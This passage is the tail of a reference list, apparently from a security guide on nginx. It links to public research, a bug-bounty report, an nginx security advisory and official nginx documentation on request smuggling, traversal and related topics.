    583 - [14] [Sergey Bobrov - HTTP Request Splitting vulnerabilities exploitation (talk)](https://www.youtube.com/watch?v=gWQyWdZbdoY&list=PL0xCSYnG_iTtJe2V6PQqamBF73n7-f1Nr&index=77)
    584 - [15] [HackerOne report #370094 - Nginx variable disclosure via SSI](https://hackerone.com/reports/370094)
    585 - [16] [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d)
    586 - [17] [CORS Playground](https://mizu.re/post/cors-playground)
    587 - [18] [Research on h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)](https://bishopfox.com/blog/h2c-smuggling-request)
    588 - [19] [nginx security advisory (CVE-2024-31079, CVE-2024-32760, CVE-2024-34161, CVE-2024-35200)](https://mailman.nginx.org/pipermail/nginx-announce/2024/GMY32CSHFH6VFTN76HJNX7WNEX4RLHF6.html)
    589 - [20] [nginx.org - Ngx Http Proxy Module: Proxy Pass](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_pass)
    590 - [21] [nginx.com - X-Accel response headers](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel)